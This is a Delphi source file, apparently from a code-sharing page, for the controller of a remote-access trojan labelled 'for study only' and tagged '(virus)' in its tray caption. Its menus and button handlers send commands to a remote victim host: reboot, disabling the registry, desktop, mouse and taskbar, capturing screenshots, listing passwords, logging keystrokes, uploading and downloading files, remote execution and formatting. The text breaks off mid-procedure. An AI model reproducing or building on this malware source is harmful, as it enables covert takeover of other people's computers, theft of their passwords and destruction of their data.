📄 code.pas
字号:
{本程序只供学习用 }
unit code;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComCtrls, ToolWin, ImgList, Menus, ExtCtrls, Buttons, ScktComp,
Psock, NMSTRM,shellapi;
type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
N9: TMenuItem;
N10: TMenuItem;
N11: TMenuItem;
N12: TMenuItem;
N13: TMenuItem;
N14: TMenuItem;
N15: TMenuItem;
Email1: TMenuItem;
N16: TMenuItem;
ImageList1: TImageList;
CoolBar1: TCoolBar;
ToolBar1: TToolBar;
ToolButton1: TToolButton;
ToolButton2: TToolButton;
ToolButton3: TToolButton;
ToolButton4: TToolButton;
ToolButton5: TToolButton;
ToolButton6: TToolButton;
ToolButton7: TToolButton;
ToolButton8: TToolButton;
ToolButton9: TToolButton;
ToolButton10: TToolButton;
StatusBar1: TStatusBar;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TreeView1: TTreeView;
Splitter1: TSplitter;
ListView1: TListView;
TreeView2: TTreeView;
Splitter2: TSplitter;
ClientSocket1: TClientSocket;
ListBox1: TListBox;
GroupBox1: TGroupBox;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
BitBtn3: TBitBtn;
NMStrmServ1: TNMStrmServ;
Timer1: TTimer;
ToolBar2: TToolBar;
Label1: TLabel;
ComboBox1: TComboBox;
Label2: TLabel;
Edit1: TEdit;
BitBtn6: TBitBtn;
GroupBox2: TGroupBox;
BitBtn4: TBitBtn;
BitBtn5: TBitBtn;
BitBtn7: TBitBtn;
BitBtn8: TBitBtn;
ToolButton11: TToolButton;
PopupMenu1: TPopupMenu;
N17: TMenuItem;
N18: TMenuItem;
BitBtn9: TBitBtn;
BitBtn10: TBitBtn;
BitBtn11: TBitBtn;
BitBtn12: TBitBtn;
BitBtn13: TBitBtn;
BitBtn14: TBitBtn;
GroupBox3: TGroupBox;
BitBtn15: TBitBtn;
BitBtn16: TBitBtn;
GroupBox4: TGroupBox;
BitBtn17: TBitBtn;
BitBtn18: TBitBtn;
BitBtn19: TBitBtn;
BitBtn20: TBitBtn;
BitBtn21: TBitBtn;
BitBtn22: TBitBtn;
BitBtn23: TBitBtn;
BitBtn24: TBitBtn;
BitBtn25: TBitBtn;
BitBtn26: TBitBtn;
BitBtn27: TBitBtn;
GroupBox5: TGroupBox;
Label3: TLabel;
Label4: TLabel;
ComboBox2: TComboBox;
ComboBox3: TComboBox;
Label5: TLabel;
Edit2: TEdit;
Label6: TLabel;
Edit3: TEdit;
BitBtn28: TBitBtn;
BitBtn29: TBitBtn;
BitBtn30: TBitBtn;
GroupBox6: TGroupBox;
BitBtn31: TBitBtn;
BitBtn32: TBitBtn;
BitBtn33: TBitBtn;
Edit4: TEdit;
BitBtn34: TBitBtn;
BitBtn35: TBitBtn;
BitBtn36: TBitBtn;
GroupBox7: TGroupBox;
BitBtn37: TBitBtn;
BitBtn38: TBitBtn;
BitBtn39: TBitBtn;
GroupBox8: TGroupBox;
BitBtn40: TBitBtn;
Label7: TLabel;
Edit5: TEdit;
GroupBox9: TGroupBox;
BitBtn41: TBitBtn;
BitBtn42: TBitBtn;
BitBtn43: TBitBtn;
BitBtn44: TBitBtn;
BitBtn45: TBitBtn;
BitBtn46: TBitBtn;
NMStrm1: TNMStrm;
GroupBox10: TGroupBox;
Label8: TLabel;
Edit6: TEdit;
BitBtn47: TBitBtn;
OpenDialog1: TOpenDialog;
BitBtn48: TBitBtn;
label9: TLabel;
GroupBox11: TGroupBox;
BitBtn49: TBitBtn;
Edit7: TEdit;
Label10: TLabel;
BitBtn50: TBitBtn;
Label11: TLabel;
Edit8: TEdit;
GroupBox12: TGroupBox;
Label12: TLabel;
Edit9: TEdit;
Label13: TLabel;
Edit10: TEdit;
BitBtn52: TBitBtn;
NMStrmServ2: TNMStrmServ;
SpeedButton1: TSpeedButton;
GroupBox13: TGroupBox;
BitBtn51: TBitBtn;
Label14: TLabel;
Edit11: TEdit;
Label15: TLabel;
Edit12: TEdit;
BitBtn53: TBitBtn;
ToolButton12: TToolButton;
Timer2: TTimer;
ListBox2: TListBox;
ImageList2: TImageList;
Splitter3: TSplitter;
N19: TMenuItem;
SpeedButton2: TSpeedButton;
PopupMenu2: TPopupMenu;
N20: TMenuItem;
N21: TMenuItem;
N22: TMenuItem;
procedure ToolButton1Click(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Connecting(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure TreeView2Click(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
procedure BitBtn3Click(Sender: TObject);
procedure NMStrmServ1MSG(Sender: TComponent; const sFrom: String;
strm: TStream);
procedure NMStrmServ1ClientContact(Sender: TObject);
procedure NMStrmServ1Status(Sender: TComponent; Status: String);
procedure ToolButton5Click(Sender: TObject);
procedure ToolButton2Click(Sender: TObject);
procedure ToolButton10Click(Sender: TObject);
procedure BitBtn4Click(Sender: TObject);
procedure BitBtn5Click(Sender: TObject);
procedure BitBtn7Click(Sender: TObject);
procedure BitBtn8Click(Sender: TObject);
procedure ToolButton11Click(Sender: TObject);
procedure BitBtn11Click(Sender: TObject);
procedure BitBtn12Click(Sender: TObject);
procedure BitBtn13Click(Sender: TObject);
procedure BitBtn14Click(Sender: TObject);
procedure BitBtn9Click(Sender: TObject);
procedure BitBtn10Click(Sender: TObject);
procedure ToolButton3Click(Sender: TObject);
procedure BitBtn15Click(Sender: TObject);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure BitBtn16Click(Sender: TObject);
procedure BitBtn19Click(Sender: TObject);
procedure BitBtn17Click(Sender: TObject);
procedure BitBtn21Click(Sender: TObject);
procedure BitBtn22Click(Sender: TObject);
procedure BitBtn23Click(Sender: TObject);
procedure BitBtn24Click(Sender: TObject);
procedure BitBtn25Click(Sender: TObject);
procedure BitBtn26Click(Sender: TObject);
procedure BitBtn27Click(Sender: TObject);
procedure BitBtn28Click(Sender: TObject);
procedure BitBtn29Click(Sender: TObject);
procedure BitBtn30Click(Sender: TObject);
procedure N8Click(Sender: TObject);
procedure BitBtn31Click(Sender: TObject);
procedure BitBtn32Click(Sender: TObject);
procedure BitBtn33Click(Sender: TObject);
procedure BitBtn34Click(Sender: TObject);
procedure BitBtn35Click(Sender: TObject);
procedure BitBtn36Click(Sender: TObject);
procedure BitBtn40Click(Sender: TObject);
procedure BitBtn38Click(Sender: TObject);
procedure BitBtn37Click(Sender: TObject);
procedure BitBtn41Click(Sender: TObject);
procedure BitBtn42Click(Sender: TObject);
procedure BitBtn43Click(Sender: TObject);
procedure BitBtn44Click(Sender: TObject);
procedure BitBtn45Click(Sender: TObject);
procedure BitBtn46Click(Sender: TObject);
procedure BitBtn47Click(Sender: TObject);
procedure NMStrm1InvalidHost(var Handled: Boolean);
procedure BitBtn48Click(Sender: TObject);
procedure BitBtn50Click(Sender: TObject);
procedure BitBtn49Click(Sender: TObject);
procedure NMStrm1PacketSent(Sender: TObject);
procedure StatusBar1DrawPanel(StatusBar: TStatusBar;
Panel: TStatusPanel; const Rect: TRect);
procedure ComboBox1KeyPress(Sender: TObject; var Key: Char);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure NMStrmServ1InvalidHost(var Handled: Boolean);
procedure NMStrmServ1HostResolved(Sender: TComponent);
procedure NMStrmServ2MSG(Sender: TComponent; const sFrom: String;strm: TStream);
procedure BitBtn52Click(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure NMStrmServ2ClientContact(Sender: TObject);
procedure NMStrmServ2HostResolved(Sender: TComponent);
procedure N15Click(Sender: TObject);
procedure Email1Click(Sender: TObject);
procedure N14Click(Sender: TObject);
procedure BitBtn51Click(Sender: TObject);
procedure BitBtn53Click(Sender: TObject);
procedure ToolButton7Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure BitBtn6Click(Sender: TObject);
procedure ToolButton6Click(Sender: TObject);
procedure ListBox1Click(Sender: TObject);
procedure ToolButton12Click(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure Timer1Timer(Sender: TObject);
procedure ListView1DblClick(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure N20Click(Sender: TObject);
private
{ Private declarations }
fcompleted :boolean;
fprogress:0..100;
sendpro: 0..100;
public
{ Public declarations }
end;
var
Form1: TForm1;
icon :Ticon;
count :integer;
implementation
uses code2, code3, code4, code5;
{$R *.DFM}
procedure TForm1.ToolButton1Click(Sender: TObject);
begin
clientsocket1.Address:=combobox1.Text ;
clientsocket1.Active:=true;
clientsocket1.Port:=strtoint(edit1.Text );
combobox1.Items.Add(combobox1.items.text);
end;
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
var
time1: TDatetime;
str,str1,str2:string;
begin
time1:=time;
str:=timetostr(time1);
socket.SendText('dir!!');
statusbar1.Panels[1].Text:='已经与 '+socket.RemoteAddress + ' 接上';
str1:='[远程主机]='+socket.RemoteAddress;
str2:='[本地主机]=' + socket.LocalAddress;
combobox1.Items.Add(combobox1.Text );
combobox1.items.add(inttostr(combobox1.ItemIndex)+combobox1.Text);
listbox2.Items.Add('***********************************');
listbox2.Items.Add(' [时间]='+ str) ;
listbox2.Items.Add('连接上主机'+socket.RemoteAddress);
listbox2.items.add(str1);
listbox2.Items.add(str2);
listbox2.Items.SaveToFile(extractfilepath(application.exename)+'log.ini');
end;
procedure TForm1.ClientSocket1Connecting(Sender: TObject;
Socket: TCustomWinSocket);
begin
statusbar1.Panels[1].Text:='正在连接中.....';
end;
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
var
time1:Tdatetime;
str:string;
begin
time1:=time;
str:=timetostr(time1);
listbox2.Items.Add(str);
statusbar1.Panels[1].Text:=socket.RemoteAddress + '已经断开....';
listbox2.items.add('[断开]='+ socket.RemoteAddress);
end;
procedure TForm1.TreeView2Click(Sender: TObject);
begin
groupbox1.Visible:=false;
groupbox2.Visible:=false;
groupbox3.Visible:=false;
groupbox4.Visible:=false;
groupbox5.Visible:=false;
groupbox6.Visible:=false;
groupbox7.visible:=false;
groupbox8.Visible:=false;
groupbox9.Visible:=false;
groupbox10.Visible:=false;
groupbox11.Visible:=false;
groupbox12.visible:=false;
groupbox13.Visible:=false;
if treeview2.Selected.Text='计算机控制' then
begin
groupbox1.Visible:=true;
end;
if treeview2.Selected.text='其他控制' then
begin
groupbox2.Visible:=true;
end;
if treeview2.Selected.Text='进程控制' then
begin
groupbox3.Visible:=true;
bitbtn16.Enabled:=false;
end;
if treeview2.Selected.text='屏幕控制' then
begin
groupbox4.Visible:=true;
end;
if treeview2.Selected.text='发送消息' then
begin
groupbox5.visible:=true;
end;
if treeview2.Selected.text='文件列表' then
begin
groupbox6.Visible:=true;
end;
if treeview2.selected.text='口令列表' then
begin
groupbox7.visible:=true;
end;
if treeview2.selected.text='修改计算机名' then
begin
groupbox8.Visible:=true;
end;
if treeview2.Selected.Text='键盘控制' then
begin
groupbox9.Visible:=true;
end;
if treeview2.Selected.text='文件上载' then
begin
groupbox10.Visible:=true;
end;
if treeview2.Selected.text='远程执行' then
begin
groupbox11.visible:=true;
end;
if treeview2.Selected.text='文件下载' then
begin
groupbox12.Visible:=true;
end;
if treeview2.Selected.text='格式化' then
begin
// messagebox(handle,'这是格式化你确定吗?','系统',MB_ok+MB_iconstop);
// clientsocket1.Socket.SendText('for!!');
groupbox13.Visible:=true;
end;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('close');
end;
procedure TForm1.BitBtn2Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('reboot');
end;
procedure TForm1.BitBtn3Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('logo');
end;
//图象接收
procedure TForm1.NMStrmServ1MSG(Sender: TComponent; const sFrom: String;
strm: TStream);
var
myfstream :Tfilestream ;
begin
If FileExists('c:\windows\desktop.bmp') then DeleteFile('c:\windows\desktop.bmp');
MyFStream := TFileStream.Create('c:\windows\desktop.bmp', fmCreate);
try
MyFStream.CopyFrom(strm, strm.size);
finally
MYFStream.Free;
end;
form2.show;
form2.Image1.Stretch:=true;
form2.Image1.Picture.LoadFromFile('c:\windows\desktop.bmp');
form2.Caption:='图象显示' ;
clientsocket1.Address:=combobox1.Text ;
clientsocket1.Active:=true;
clientsocket1.Port:=strtoint(edit1.Text );
end;
procedure TForm1.NMStrmServ1ClientContact(Sender: TObject);
begin
NMStrmServ1.ReportLevel := Status_Basic;
NMStrmServ1.TimeOut := 90000;
statusbar1.Panels[1].Text:='主机已连接上...';
end;
procedure TForm1.NMStrmServ1Status(Sender: TComponent; Status: String);
begin
StatusBar1.Panels[1].Text:='接收中...'+ status;
end;
procedure TForm1.ToolButton5Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('bitmap');
end;
procedure TForm1.ToolButton2Click(Sender: TObject);
begin
clientsocket1.Socket.Close ;
end;
procedure TForm1.ToolButton10Click(Sender: TObject);
begin
form3.setuptrayicon(990,loadicon(hinstance,'mainicon'),'邢益茂(virus)');
form1.hide;
end;
procedure TForm1.BitBtn4Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('noreg');
end;
procedure TForm1.BitBtn5Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('yesreg');
end;
procedure TForm1.BitBtn7Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('nodesktop');
end;
procedure TForm1.BitBtn8Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('yesdesktop');
end;
procedure TForm1.ToolButton11Click(Sender: TObject);
begin
application.Terminate ;
end;
procedure TForm1.BitBtn11Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('nomouse');
end;
procedure TForm1.BitBtn12Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('yesmouse');
end;
procedure TForm1.BitBtn13Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('nobar');
end;
procedure TForm1.BitBtn14Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('yesbar');
end;
procedure TForm1.BitBtn9Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('nohot');
end;
procedure TForm1.BitBtn10Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('yeshot');
end;
procedure TForm1.ToolButton3Click(Sender: TObject);
begin
form3.show;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -